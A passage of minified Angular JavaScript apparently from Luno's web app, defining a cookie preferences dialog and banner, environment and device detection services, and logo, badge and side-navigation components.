e.onPerformanceCheckboxClick(t)}),a._uU(24),a.qZA(),a.TgZ(25,"p"),a._uU(26),a.qZA(),a.qZA(),a.TgZ(27,"div"),a.TgZ(28,"mat-checkbox",7),a.NdJ("change",function(t){return e.onMarketingCheckboxClick(t)}),a._uU(29),a.qZA(),a.TgZ(30,"p"),a._uU(31),a.qZA(),a.qZA(),a.qZA(),a.TgZ(32,"div",8),a.TgZ(33,"luno-button",9),a.NdJ("clicked",function(){return e.onSave()}),a.qZA(),a.qZA(),a.qZA()),2&t&&(a.xp6(5),a.Oqu(e.title),a.xp6(3),a.Q6J("innerHTML",e.bodyHtml,a.oJD),a.xp6(2),a.Oqu(e.preferencesTitle),a.xp6(3),a.Q6J("checked",!0),a.xp6(1),a.Oqu(e.strictlyNecessaryText),a.xp6(2),a.Oqu(e.strictlyNecessaryDetailsText),a.xp6(3),a.Oqu(e.functionalText),a.xp6(2),a.Oqu(e.functionalDetailsText),a.xp6(3),a.Oqu(e.performanceText),a.xp6(2),a.Oqu(e.performanceDetailsText),a.xp6(3),a.Oqu(e.marketingText),a.xp6(2),a.Oqu(e.marketingDetailsText),a.xp6(2),a.Q6J("button",e.saveButton))},directives:[O.wG,P.Hw,I.oG,me.r0],styles:["[_nghost-%COMP%]{color:var(--color-primary)}[_nghost-%COMP%] .mat-checkbox-inner-container{margin-top:4px}h3[_ngcontent-%COMP%]{margin:0}luno-button[_ngcontent-%COMP%]{max-width:344px;width:100%}luno-button[_ngcontent-%COMP%] a{width:100%}.checkboxes-container[_ngcontent-%COMP%]{display:flex;flex-wrap:wrap}.checkboxes-container[_ngcontent-%COMP%] div[_ngcontent-%COMP%]{width:50%;box-sizing:border-box;padding:14px}.checkboxes-container[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(odd){padding-left:0}.checkboxes-container[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(even){padding-right:0}@media screen and (max-width: 768px){.checkboxes-container[_ngcontent-%COMP%] div[_ngcontent-%COMP%]{padding:14px 0;width:100%}}.checkboxes-container[_ngcontent-%COMP%] div[_ngcontent-%COMP%] p[_ngcontent-%COMP%]{margin-left:24px;margin-bottom:0;margin-top:8px;font-size:14px;opacity:.75} .mat-dialog-cookie-preferences mat-dialog-container.mat-dialog-container{width:618px;padding:0;max-height:80vh}.divider[_ngcontent-%COMP%]{margin-right:-24px;margin-left:-24px;margin-top:20px;border-bottom:1px solid #e5e9f0!important}.button-container[_ngcontent-%COMP%]{display:flex;margin-top:22px;justify-content:center}.body-container[_ngcontent-%COMP%]{padding:0 24px 24px;margin-top:8px;overflow:auto}@media screen and (max-width: 768px){.body-container[_ngcontent-%COMP%]{margin-top:0}}.title-container[_ngcontent-%COMP%]{padding:24px 24px 0}.body-text[_ngcontent-%COMP%]{line-height:1.75}.cross-icon[_ngcontent-%COMP%]{float:right;cursor:pointer;border-radius:24px;margin:20px 12px 0}mat-icon[_ngcontent-%COMP%]{color:var(--color-secondary);margin:4px}[_nghost-%COMP%] a{color:var(--color-primary);text-decoration:underline}"],changeDetection:0}),t}(),ye=n(76491),_e=n(94637),be=function(){var t=function(){function t(e){var n=this;_(this,t),this.cookiePreferencesService=e,this.config=new ye.X(null),this.visible=new ye.X(!1),this.action=new ye.X(null),this.cookiePreferencesShowing=!1,this.bannerStack=[],this.cookiePreferencesService.showPreferences$.subscribe(function(t){n.cookiePreferencesShowing=t,n.showCurrentBanner()}),this.action.subscribe(function(t){n.onBannerActionClicked(t)})}return y(t,[{key:"showBanner",value:function(t){this.bannerStack.push(t),1===this.bannerStack.length&&this.showCurrentBanner()}},{key:"closeCurrentBanner",value:function(){!this.bannerStack.length||this.showNextBanner()}},{key:"showCurrentBanner",value:function(){this.cookiePreferencesShowing||!this.bannerStack.length||(this.config.next(this.bannerStack[0]),this.visible.next(!0))}},{key:"onBannerActionClicked",value:function(t){var e;t&&(null===(e=this.bannerStack[0])||void 0===e?void 0:e.persistOnButtonClick)||this.showNextBanner()}},{key:"showNextBanner",value:function(){this.visible.next(!1),this.bannerStack.shift(),this.showCurrentBanner()}}]),t}();return t.\u0275fac=function(e){return new(e||t)(a.LFG(_e.L))},t.\u0275prov=a.Yz7({token:t,factory:t.\u0275fac,providedIn:"root"}),t}(),ke=function(){var t=function(){function t(e){_(this,t),this.windowRef=e}return y(t,[{key:"isProd",value:function(){return["www.luno.com","app.luno.com","trade.luno.com"].includes(this.windowRef.nativeWindow.location.host)}},{key:"isStaging",value:function(){return["staging.luno.com","app.staging.luno.com","trade.staging.luno.com"].includes(this.windowRef.nativeWindow.location.host)}},{key:"isDev",value:function(){return!this.isStaging()&&!this.isProd()}}]),t}();return t.\u0275fac=function(e){return new(e||t)(a.LFG(Ft.X))},t.\u0275prov=a.Yz7({token:t,factory:t.\u0275fac,providedIn:"root"}),t}();function we(t,e){if(1&t&&a._UZ(0,"img",6),2&t){var n=a.oxw(2);a.Q6J("src",n.imageUrl,a.LSH)("alt",n.imageAlt)("width",40)("height",40)}}function Ce(t,e){if(1&t){var n=a.EpF();a.TgZ(0,"luno-button",7),a.NdJ("clicked",function(){var t=a.CHM(n).$implicit;return a.oxw(2).onButtonClicked(t.action)}),a.qZA()}2&t&&a.Q6J("button",e.$implicit)}function xe(t,e){if(1&t&&(a.TgZ(0,"article"),a.TgZ(1,"div",1),a.TgZ(2,"div"),a.YNc(3,we,1,4,"img",2),a._UZ(4,"span",3),a.qZA(),a.TgZ(5,"div",4),a.YNc(6,Ce,1,1,"luno-button",5),a.qZA(),a.qZA(),a.qZA()),2&t){var n=a.oxw();a.xp6(3),a.Q6J("ngIf",n.imageUrl),a.xp6(1),a.Q6J("innerHTML",n.text,a.oJD),a.xp6(2),a.Q6J("ngForOf",n.buttons)}}var Se=function(){var t=function(){function t(e,n,i,r,o,a,s){_(this,t),this.bannerService=e,this.commonInfoService=n,this.cookiePreferencesService=i,this.dialog=r,this.environmentService=o,this.i18n=a,this.themedAssetPipe=s,this.imageUrl=this.commonInfoService.staticAssetsUrl?this.themedAssetPipe.transform("".concat(this.commonInfoService.staticAssetsUrl,"/icons/common/ic_cookie.svg")):null,this.showPreferences$=this.cookiePreferencesService.showPreferences$}return y(t,[{key:"ngOnInit",value:function(){this.showPreferences$=this.cookiePreferencesService.showPreferences$,this.initConfig()}},{key:"initConfig",value:function(){this.imageAlt=this.i18n.translateText("cookie icon",void 0,"Component: Image screen reader name"),this.text=this.i18n.translateText("We use cookies to make your experience with us better. By continuing to use our website without changing the settings, you are agreeing to our use of cookies, which include marketing cookies.",void 0,"Component: Banner title"),this.buttons=[{action:{id:"manage_settings",name:this.i18n.translateText("Manage settings",void 0,"Component: Button"),style:ae.gw3.SECONDARY}},{action:{id:"allow_all",name:this.i18n.translateText("Allow all",void 0,"Component: Button"),style:ae.gw3.PRIMARY}}]}},{key:"onButtonClicked",value:function(t){var e=this;switch(null==t?void 0:t.id){case"manage_settings":this.dialog.open(ge,{panelClass:"mat-dialog-cookie-preferences",height:"auto"}).afterClosed().subscribe(function(t){!t||e.cookiePreferencesService.acceptSelection(t)});break;case"allow_all":this.cookiePreferencesService.acceptAll()}}}]),t}();return t.\u0275fac=function(e){return new(e||t)(a.Y36(be),a.Y36(Yt.E),a.Y36(_e.L),a.Y36(R.uw),a.Y36(ke),a.Y36(ce.K),a.Y36(Bt.Tt))},t.\u0275cmp=a.Xpm({type:t,selectors:[["luno-cookie-preferences"]],decls:2,vars:3,consts:[[4,"ngIf"],[1,"container"],[3,"src","alt","width","height",4,"ngIf"],[3,"innerHTML"],[1,"button-container"],[3,"button","clicked",4,"ngFor","ngForOf"],[3,"src","alt","width","height"],[3,"button","clicked"]],template:function(t,e){1&t&&(a.YNc(0,xe,7,3,"article",0),a.ALo(1,"async")),2&t&&a.Q6J("ngIf",a.lcZ(1,1,e.showPreferences$))},directives:[s.O5,s.sg,me.r0],pipes:[s.Ov],styles:["[_nghost-%COMP%]{width:100%}article[_ngcontent-%COMP%]{background:#eeeeee}.container[_ngcontent-%COMP%]{display:flex;max-width:1200px;margin:auto;padding:.75rem .5rem;justify-content:center;align-items:center;height:100%;white-space:normal}.container[_ngcontent-%COMP%] luno-button[_ngcontent-%COMP%]{flex-grow:1;padding-left:.5rem}.container[_ngcontent-%COMP%] luno-button[_ngcontent-%COMP%] a{width:100%}.container[_ngcontent-%COMP%] > div[_ngcontent-%COMP%]{display:flex;align-items:flex-start;color:var(--color-primary)}.container[_ngcontent-%COMP%] > div[_ngcontent-%COMP%] > img[_ngcontent-%COMP%]{margin:0 1rem 0 .5rem}@media screen and (max-width: 768px){.container[_ngcontent-%COMP%]{line-height:1.25;flex-direction:column;justify-content:space-between}.container[_ngcontent-%COMP%] > div[_ngcontent-%COMP%]{padding-left:0;align-items:flex-start;align-self:flex-end}.container[_ngcontent-%COMP%] > div.button-container[_ngcontent-%COMP%]{justify-content:center;flex-wrap:wrap;grid-row-gap:8px;row-gap:8px;padding-top:.5rem;padding-right:.5rem}.container[_ngcontent-%COMP%] > div[_ngcontent-%COMP%]:not(.button-container){padding-bottom:.5rem}.container[_ngcontent-%COMP%] > div[_ngcontent-%COMP%] > span[_ngcontent-%COMP%]{align-self:flex-start}}"],changeDetection:0}),t}(),Ee=function(){var t=function(){function t(e){_(this,t),this.platform=e}return y(t,[{key:"isIosDevice",get:function(){return this.platform.IOS}},{key:"isAndroidDevice",get:function(){return this.platform.ANDROID}},{key:"isDesktop",get:function(){return!this.isIosDevice&&!this.isAndroidDevice}},{key:"iosAppStoreUrl",get:function(){return"https://luno.sng.link/Dwi6u/1a0p"}},{key:"androidAppStoreUrl",get:function(){return"https://luno.sng.link/Dwi6u/89zu"}}]),t}();return t.\u0275fac=function(e){return new(e||t)(a.LFG(L.t4))},t.\u0275prov=a.Yz7({token:t,factory:t.\u0275fac,providedIn:"root"}),t}(),Ae=n(46708);function Te(t,e){if(1&t&&(a.TgZ(0,"luno-hyperlink",5),a.O4$(),a.TgZ(1,"svg",6),a._UZ(2,"path",7),a.qZA(),a.qZA()),2&t){var n=a.oxw();a.ekj("opaque",n.isOpaque),a.Q6J("aria",n.logoAria),a.xp6(2),a.uIk("class",n.isOpaque?"opaque":"")}}function Ie(t,e){if(1&t&&(a.TgZ(0,"luno-hyperlink",8),a.O4$(),a.TgZ(1,"svg",9),a._UZ(2,"path",10),a._UZ(3,"path",11),a._UZ(4,"path",12),a._UZ(5,"path",13),a._UZ(6,"path",14),a.qZA(),a.qZA()),2&t){var n=a.oxw();a.Q6J("aria",n.logoAria),a.xp6(1),a.uIk("class",n.isOpaque?"opaque-logo":"bright-logo")}}function Oe(t,e){if(1&t&&a._UZ(0,"span",15),2&t){var n=a.oxw();a.Q6J("innerHTML",n.wordMark,a.oJD)}}var Re=function(){var t=function(){function t(e,n){_(this,t),this.i18n=e,this.featureFlagsService=n,this.isOpaque=!1,this.hamburgerIconClick=new a.vpe,this.lunoV3=!1}return y(t,[{key:"ngOnInit",value:function(){this.lunoV3=this.featureFlagsService.isEnabled("luno_v3");var t=this.i18n.translateText("Luno logo",void 0,"Component: Logo description");this.logoAria={label:t}}},{key:"onMenuClick",value:function(){this.hamburgerIconClick.emit()}}]),t}();return t.\u0275fac=function(e){return new(e||t)(a.Y36(ce.K),a.Y36(zt.a))},t.\u0275cmp=a.Xpm({type:t,selectors:[["luno-hamburger"]],inputs:{wordMark:"wordMark",isOpaque:"isOpaque"},outputs:{hamburgerIconClick:"hamburgerIconClick"},decls:6,vars:4,consts:[["mat-mini-fab","","aria-label","The hamburger button that opens the menu",1,"mat-elevation-z",3,"color","click"],[1,"material-icons-round"],["url","/","class","v2",3,"opaque","aria",4,"ngIf"],["url","/","class","v3",3,"aria",4,"ngIf"],["class","word-mark",3,"innerHTML",4,"ngIf"],["url","/",1,"v2",3,"aria"],["width","100","height","29","xmlns","http://www.w3.org/2000/svg","viewBox","0 0 120 29.1"],["d","M49.4 1c-1.1 0-1.9.9-1.9 2v14c0 4.9-3.5 8.3-8.5 8.3s-8.4-3.4-8.5-8.3V3c0-1.1-.9-2-1.9-2-1 0-1.9.9-1.9 2v14.2c0 3.7 1.2 6.8 3.6 8.9 2.1 1.9 5.1 3 8.4 3.1h.8c3.2-.1 6.1-1.2 8.2-3.1 2.3-2.1 3.5-5.2 3.5-8.9V3c.1-1.1-.8-2-1.8-2zM18.3 25h-6c-4.9 0-8.4-3.4-8.5-8.3v-14c0-1.1-.9-2-1.9-2-1 0-1.9.9-1.9 2v14.2c0 3.7 1.2 6.8 3.6 8.9 2.1 1.9 5.1 3 8.4 3.1h6.3c1.1 0 1.9-.9 1.9-2s-.9-1.9-1.9-1.9zm63.8 3.1c-1.1 0-1.9-.9-1.9-2v-14c0-4.9-3.5-8.3-8.5-8.3s-8.4 3.4-8.5 7.9v14c0 1.5-.9 2.4-1.9 2.4-1 0-1.9-.9-1.9-2V12c0-3.7 1.2-6.8 3.6-8.9 2-2 5-3 8.3-3.1h.9c3.2.1 6.1 1.2 8.2 3.1C82.8 5.3 84 8.4 84 12v14.2c0 1-.9 1.9-1.9 1.9zm23.8.9c-4 0-7.6-1.5-10.2-4.2-2.5-2.6-3.9-6.1-3.9-9.9v-.1c0-3.8 1.4-7.3 3.9-9.9C98.3 2.1 102 .6 105.9.6c4 0 7.6 1.5 10.2 4.2 2.5 2.6 3.9 6.1 3.9 9.9v.1c0 3.8-1.4 7.3-3.9 9.9-2.6 2.8-6.3 4.3-10.2 4.3zm0-24.8c-5.7 0-10.1 4.5-10.1 10.5v.1c0 2.9 1 5.5 2.9 7.5s4.5 3.1 7.3 3.1c5.7 0 10.1-4.5 10.1-10.5v-.1c0-2.9-1-5.5-2.9-7.5s-4.5-3.1-7.3-3.1z"],["url","/",1,"v3",3,"aria"],["width","120","height","38","fill","none","xmlns","http://www.w3.org/2000/svg"],["id","text","d","m105.841 17.762.016-.014ZM73.032 9.241h-.812a1.081 1.081 0 0 0-1.081 1.082V20.39c-.031 2.963-2.36 5.114-5.544 5.114h-.013c-3.243 0-5.53-2.221-5.558-5.4v-9.783a1.081 1.081 0 0 0-1.08-1.078h-.817a1.081 1.081 0 0 0-1.079 1.08v9.915c0 2.502.847 4.602 2.449 6.078 1.425 1.306 3.433 2.07 5.659 2.146h.662c2.272-.037 4.326-.785 5.786-2.104 1.633-1.474 2.515-3.594 2.515-6.127v-9.91a1.084 1.084 0 0 0-1.087-1.08ZM52.1 25.304h-4.026c-3.22 0-5.494-2.23-5.529-5.398v-9.581a1.083 1.083 0 0 0-1.08-1.081h-.813a1.083 1.083 0 0 0-1.08 1.08v9.708c0 2.532.866 4.652 2.503 6.128 1.46 1.324 3.517 2.067 5.791 2.105H52.1a1.083 1.083 0 0 0 1.08-1.081v-.81a1.086 1.086 0 0 0-1.08-1.08v.01ZM117.335 11.953a9.601 9.601 0 0 0-7.015-2.888 9.57 9.57 0 0 0-9.727 9.707v.05a9.506 9.506 0 0 0 5.953 8.97 9.504 9.504 0 0 0 3.727.687h.113a9.588 9.588 0 0 0 9.621-9.707v-.049a9.668 9.668 0 0 0-2.672-6.77Zm-.404 6.819v.053c0 3.902-2.839 6.839-6.605 6.839a6.511 6.511 0 0 1-4.765-2.014 7.014 7.014 0 0 1-1.88-4.878v-.05c0-3.904 2.84-6.84 6.603-6.84h.06a6.513 6.513 0 0 1 4.701 2.014 6.997 6.997 0 0 1 1.886 4.876ZM93.807 11.205c-1.428-1.306-3.433-2.07-5.659-2.147h-.662c-2.272.038-4.328.786-5.787 2.105-1.639 1.476-2.504 3.596-2.504 6.126v9.91a1.081 1.081 0 0 0 1.08 1.081h.811a1.081 1.081 0 0 0 1.081-1.08V17.132c.031-2.963 2.36-5.114 5.542-5.114h.015c3.243 0 5.527 2.222 5.558 5.4v9.78a1.07 1.07 0 0 0 .669 1c.131.054.272.082.414.081h.814a1.08 1.08 0 0 0 1.079-1.08v-9.917c-.002-2.502-.85-4.602-2.451-6.078Z"],["id","fourth-layer","d","M14.25 9.045a14.25 14.25 0 1 0-.005 28.498 14.25 14.25 0 0 0 .004-28.498Zm0 24.47a10.223 10.223 0 1 1 .016-20.445 10.223 10.223 0 0 1-.017 20.445Z"],["id","third-layer","d","M14.25 6.032a14.25 14.25 0 1 0-.005 28.498 14.25 14.25 0 0 0 .004-28.498Zm0 24.47a10.223 10.223 0 1 1 .017-20.446 10.223 10.223 0 0 1-.018 20.446Z"],["id","second-layer","d","M14.25 3.016a14.25 14.25 0 1 0-.005 28.498 14.25 14.25 0 0 0 .004-28.498Zm0 24.47a10.224 10.224 0 1 1 .017-20.447 10.224 10.224 0 0 1-.018 20.447Z"],["id","first-layer","d","M14.25 0a14.25 14.25 0 1 0-.005 28.499A14.25 14.25 0 0 0 14.249 0Zm0 24.473a10.224 10.224 0 1 1 .018-20.448 10.224 10.224 0 0 1-.019 20.448Z"],[1,"word-mark",3,"innerHTML"]],template:function(t,e){1&t&&(a.TgZ(0,"button",0),a.NdJ("click",function(){return e.onMenuClick()}),a.TgZ(1,"mat-icon",1),a._uU(2,"menu"),a.qZA(),a.qZA(),a.YNc(3,Te,3,4,"luno-hyperlink",2),a.YNc(4,Ie,7,2,"luno-hyperlink",3),a.YNc(5,Oe,1,1,"span",4)),2&t&&(a.Q6J("color",e.isOpaque?"":"primary"),a.xp6(3),a.Q6J("ngIf",!e.lunoV3),a.xp6(1),a.Q6J("ngIf",e.lunoV3),a.xp6(1),a.Q6J("ngIf",e.wordMark))},directives:[Tt.lW,P.Hw,s.O5,Ae.t],styles:["[_nghost-%COMP%]{padding:0;display:flex;align-items:center}[_nghost-%COMP%] button[_ngcontent-%COMP%]{margin-right:4px}[_nghost-%COMP%] mat-icon[_ngcontent-%COMP%]{display:flex;align-items:center;justify-content:center;margin:auto} .mat-button-focus-overlay{background-color:transparent!important}.word-mark[_ngcontent-%COMP%]{margin-left:16px;line-height:16px}luno-hyperlink.v2[_ngcontent-%COMP%] path[_ngcontent-%COMP%]{fill:var(--color-neutral-0)}luno-hyperlink.v2[_ngcontent-%COMP%] path.opaque[_ngcontent-%COMP%]{fill:var(--color-primary)}luno-hyperlink.v3[_ngcontent-%COMP%]{height:38px;margin-left:24px}.bright-logo[_ngcontent-%COMP%] #text[_ngcontent-%COMP%]{fill:#fff}.bright-logo[_ngcontent-%COMP%] #fourth-layer[_ngcontent-%COMP%]{fill:#001e88}.bright-logo[_ngcontent-%COMP%] #third-layer[_ngcontent-%COMP%]{fill:#2f6dda}.bright-logo[_ngcontent-%COMP%] #second-layer[_ngcontent-%COMP%]{fill:#82b8f5}.bright-logo[_ngcontent-%COMP%] #first-layer[_ngcontent-%COMP%]{fill:#fff}.opaque-logo[_ngcontent-%COMP%] #text[_ngcontent-%COMP%]{fill:#001f83}.opaque-logo[_ngcontent-%COMP%] #fourth-layer[_ngcontent-%COMP%]{fill:#acd0f7}.opaque-logo[_ngcontent-%COMP%] #third-layer[_ngcontent-%COMP%]{fill:#6eaaf5}.opaque-logo[_ngcontent-%COMP%] #second-layer[_ngcontent-%COMP%]{fill:#2f6dda}.opaque-logo[_ngcontent-%COMP%] #first-layer[_ngcontent-%COMP%]{fill:#001e88}"]}),t}();function Pe(t,e){if(1&t&&a._UZ(0,"span",1),2&t){var n=a.oxw();a.ekj("is-neutral",n.isNeutral),a.Q6J("matBadge",n.badgeCount)}}var Ne=function(){var t=function(){function t(){_(this,t),this.isMultiDigits=!1,this.badgeCount=null,this.matBadgeSize="small",this.isNeutral=!1,this.noCount=!1}return y(t,[{key:"ngOnInit",value:function(){this.noCount=!this.badgeCount,this.isMultiDigits=(this.badgeCount||0)>9}}]),t}();return t.\u0275fac=function(e){return new(e||t)},t.\u0275cmp=a.Xpm({type:t,selectors:[["luno-badge"]],hostVars:4,hostBindings:function(t,e){2&t&&a.ekj("badge-count-multi-digits",e.isMultiDigits)("no-count",e.noCount)},inputs:{badgeCount:"badgeCount",matBadgeSize:"matBadgeSize",isNeutral:"isNeutral"},decls:1,vars:1,consts:[["matBadgeSize","small","matBadgeColor","accent",3,"matBadge","is-neutral",4,"ngIf"],["matBadgeSize","small","matBadgeColor","accent",3,"matBadge"]],template:function(t,e){1&t&&a.YNc(0,Pe,1,3,"span",0),2&t&&a.Q6J("ngIf",e.badgeCount)},directives:[s.O5,St],styles:["[_nghost-%COMP%] .is-neutral.mat-badge-accent[_ngcontent-%COMP%] .mat-badge-content[_ngcontent-%COMP%]{background:var(--color-neutral-0)}[_nghost-%COMP%] .is-neutral.mat-badge[_ngcontent-%COMP%] .mat-badge-content[_ngcontent-%COMP%]{color:var(--color-primary)}.no-count[_nghost-%COMP%]{display:inline-block;width:8px;height:8px;border-radius:50%}[_nghost-%COMP%] .mat-badge[_ngcontent-%COMP%] .mat-badge-content[_ngcontent-%COMP%]{color:inherit;font-size:11px}.badge-count-multi-digits[_nghost-%COMP%] .mat-badge[_ngcontent-%COMP%] .mat-badge-content[_ngcontent-%COMP%]{font-size:9.5px}"]}),t}();function De(t,e){if(1&t){var n=a.EpF();a.TgZ(0,"luno-hamburger",2),a.NdJ("hamburgerIconClick",function(){return a.CHM(n),a.oxw().onMenuClick()}),a.qZA()}if(2&t){var i=a.oxw();a.Q6J("isOpaque",!0)("wordMark",null==i.navigationSide?null:i.navigationSide.wordMark)}}function Le(t,e){if(1&t){var n=a.EpF();a.TgZ(0,"luno-button",10),a.NdJ("clicked",function(){return a.CHM(n),a.oxw(2).onNavigationItemClick()}),a.qZA()}2&t&&a.Q6J("button",e.$implicit)}function Me(t,e){if(1&t&&(a.TgZ(0,"mat-icon",20),a._uU(1),a.qZA()),2&t){var n=a.oxw().$implicit;a.s9C("color",n.matIcon.theme),a.xp6(1),a.hij(" ",n.matIcon.name," ")}}function Fe(t,e){if(1&t&&a._UZ(0,"img",21),2&t){var n=a.oxw().$implicit,i=a.oxw(4);a.Q6J("alt",n.action.name)("src",i.getImageUrl(n),a.LSH)}}function Ue(t,e){if(1&t&&(a._UZ(0,"luno-badge",22),a.ALo(1,"async")),2&t){var n=a.oxw().$implicit;a.Q6J("badgeCount",a.lcZ(1,1,n.badgeCount$))}}function Be(t,e){if(1&t){var n=a.EpF();a.TgZ(0,"li",15),a.TgZ(1,"luno-hyperlink",16),a.NdJ("clicked",function(){return a.CHM(n),a.oxw(4).onNavigationItemClick()}),a.YNc(2,Me,2,2,"mat-icon",17),a.YNc(3,Fe,1,2,"img",18),a.YNc(4,Ue,2,3,"luno-badge",19),a.ALo(5,"async"),a._uU(6),a.qZA(),a.qZA()}if(2&t){var i=e.$implicit,r=a.oxw(4);a.ekj("active-menu-item",r.isRouteActive(i)),a.xp6(1),a.Q6J("action",i.action),a.xp6(1),a.Q6J("ngIf",r.isOpen&&i.matIcon),a.xp6(1),a.Q6J("ngIf",r.isOpen&&i.iconUrl),a.xp6(1),a.Q6J("ngIf",a.lcZ(5,7,i.badgeCount$)),a.xp6(2),a.hij(" ",i.action.name," ")}}function je(t,e){if(1&t&&(a.TgZ(0,"div",13),a.TgZ(1,"h6"),a._uU(2),a.qZA(),a.TgZ(3,"ul"),a.YNc(4,Be,7,9,"li",14),a.qZA(),a.qZA()),2&t){var n=e.$implicit;a.xp6(2),a.Oqu(n.heading),a.xp6(2),a.Q6J("ngForOf",n.navigationItems)}}function He(t,e){if(1&t&&(a.TgZ(0,"div",11),a.YNc(1,je,5,2,"div",12),a.qZA()),2&t){var n=a.oxw(2);a.xp6(1),a.Q6J("ngForOf",n.navigationSide.navigationGroups)}}function Ve(t,e){if(1&t&&a._UZ(0,"img",27),2&t){var n=a.oxw(3);a.Q6J("src",n.playStoreImageUrl[0],a.LSH)("srcset",n.playStoreImageUrl[1],a.LSH)}}function Ge(t,e){if(1&t&&a._UZ(0,"img",28),2&t){var n=a.oxw(3);a.Q6J("src",n.appStoreImageUrl[0],a.LSH)("srcset",n.appStoreImageUrl[1],a.LSH)}}function Ye(t,e){if(1&t&&(a.TgZ(0,"div",23),a.TgZ(1,"a",24),a.YNc(2,Ve,1,2,"img",25),a.qZA(),a.TgZ(3,"a",24),a.YNc(4,Ge,1,2,"img",26),a.qZA(),a.qZA()),2&t){var n=a.oxw(2);a.xp6(1),a.Q6J("href",n.androidAppUrl,a.LSH),a.xp6(1),a.Q6J("ngIf",n.isOpen),a.xp6(1),a.Q6J("href",n.iosAppUrl,a.LSH),a.xp6(1),a.Q6J("ngIf",n.isOpen)}}function qe(t,e){if(1&t&&a._UZ(0,"luno-button",29),2&t){var n=a.oxw(2);a.Q6J("button",n.getStartedButton)}}function ze(t,e){1&t&&a._UZ(0,"luno-button",29),2&t&&a.Q6J("button",e.$implicit)}function Ze(t,e){if(1&t&&(a.TgZ(0,"div",3),a.YNc(1,Le,1,1,"luno-button",4),a.YNc(2,He,2,1,"div",5),a.YNc(3,Ye,5,4,"div",6),a.TgZ(4,"div",7),a.YNc(5,qe,1,1,"luno-button",8),a.YNc(6,ze,1,1,"luno-button",9),a.qZA(),a.qZA()),2&t){var n=a.oxw();a.xp6(1),a.Q6J("ngForOf",n.navigationSide.buttons),a.xp6(1),a.Q6J("ngIf",n.navigationSide.navigationGroups),a.xp6(1),a.Q6J("ngIf",!n.navigationSide.hideAppIcons),a.xp6(2),a.Q6J("ngIf",!(null!=n.navigationSide.footerButtons&&n.navigationSide.footerButtons.length)),a.xp6(1),a.Q6J("ngForOf",n.navigationSide.footerButtons)}}var We=function(){var t=function(){function t(e,n,i,r){_(this,t),this.deviceRecognitionService=e,this.featureFlagsService=n,this.i18n=i,this.localeService=r,this.hasSideNav=!1,this.isOpen=!1,this.itemClicked=new a.vpe,this.toggleSidenav=new a.vpe,this.signUpButtonText=this.i18n.translateText("Sign up",void 0,"Component: Button"),this.getStartedButtonText=this.i18n.translateText("Get started",void 0,"Component: Button")}return y(t,[{key:"ngOnInit",value:function(){this.androidAppUrl=this.deviceRecognitionService.androidAppStoreUrl,this.iosAppUrl=this.deviceRecognitionService.iosAppStoreUrl}},{key:"onCloseSidenav",value:function(){this.toggleSidenav.emit(!1)}},{key:"onNavigationItemClick",value:function(){this.toggleSidenav.emit(!1)}},{key:"playStoreImageUrl",get:function(){return["".concat(this.webAssetsUrl,"/img/store_buttons/btn_googleplay.png"),"".concat(this.webAssetsUrl,"/img/store_buttons/btn_googleplay@2x.png")]}},{key:"appStoreImageUrl",get:function(){return["".concat(this.webAssetsUrl,"/img/store_buttons/btn_appstore.png"),"".concat(this.webAssetsUrl,"/img/store_buttons/btn_appstore@2x.png")]}},{key:"isV3",value:function(){return this.featureFlagsService.isEnabled("luno_v3")}},{key:"isRouteActive",value:function(t){if(!t.activeForRoutes&&!t.activeForRouteRegex||!this.activeUrl)return!1;if(t.activeForRouteRegex)return new RegExp(t.activeForRouteRegex).test(this.activeUrl);if(!t.activeForRoutes)return!1;var e,n=r(t.activeForRoutes);try{for(n.s();!(e=n.n()).done;){var i=e.value;if(t.isActiveForRoutesExact&&this.activeUrl===i||!t.isActiveForRoutesExact&&this.activeUrl.includes(i))return!0}}catch(o){n.e(o)}finally{n.f()}return!1}},{key:"getImageUrl",value:function(t){var e,n;return this.isV3()?null===(e=null==t?void 0:t.iconUrl)||void 0===e?void 0:e.activeIconV3:null===(n=null==t?void 0:t.iconUrl)||void 0===n?void 0:n.activeIcon}},{key:"getStartedButton",get:function(){return this.isAuthenticated?{action:{name:this.getStartedButtonText,url:"/wallet",style:ae.gw3.PRIMARY,event:{name:"button_click",parameters:{name:"Get started",product_group:"Onboard"}}}}:{action:{name:this.signUpButtonText,url:"".concat(window.location.origin,"/").concat(this.localeService.urlPath,"/signup"),style:ae.gw3.PRIMARY,event:{name:"button_click",parameters:{name:"Sign up",product_group:"Onboard"}}}}}},{key:"onMenuClick",value:function(){this.toggleSidenav.emit()}}]),t}();return t.\u0275fac=function(e){return new(e||t)(a.Y36(Ee),a.Y36(zt.a),a.Y36(ce.K),a.Y36(Wt.O))},t.\u0275cmp=a.Xpm({type:t,selectors:[["luno-navigation-side"]],inputs:{navigationSide:"navigationSide",activeUrl:"activeUrl",hasSideNav:"hasSideNav",webAssetsUrl:"webAssetsUrl",isAuthenticated:"isAuthenticated",isOpen:"isOpen"},outputs:{itemClicked:"itemClicked",toggleSidenav:"toggleSidenav"},decls:2,vars:2,consts:[["class","side-nav-hamburger",3,"isOpaque","wordMark","hamburgerIconClick",4,"ngIf"],["class","navigation-links",4,"ngIf"],[1,"side-nav-hamburger",3,"isOpaque","wordMark","hamburgerIconClick"],[1,"navigation-links"],["class","side-nav-button",3,"button","clicked",4,"ngFor","ngForOf"],["class","links",4,"ngIf"],["class","app-links",4,"ngIf"],[1,"button-container"],[3,"button",4,"ngIf"],[3,"button",4,"ngFor","ngForOf"],[1,"side-nav-button",3,"button","clicked"],[1,"links"],["class","group",4,"ngFor","ngForOf"],[1,"group"],["matRipple","",3,"active-menu-item",4,"ngFor","ngForOf"],["matRipple",""],[3,"action","clicked"],[3,"color",4,"ngIf"],["class","side-nav-img","loading","lazy",3,"alt","src",4,"ngIf"],[3,"badgeCount",4,"ngIf"],[3,"color"],["loading","lazy",1,"side-nav-img",3,"alt","src"],[3,"badgeCount"],[1,"app-links"],["rel","noopener noreferrer","matRipple","",3,"href"],["alt","Google Play Store Logo","loading","lazy",3,"src","srcset",4,"ngIf"],["alt","Apple App Store Logo","loading","lazy",3,"src","srcset",4,"ngIf"],["alt","Google Play Store Logo","loading","lazy",3,"src","srcset"],["alt","Apple App Store 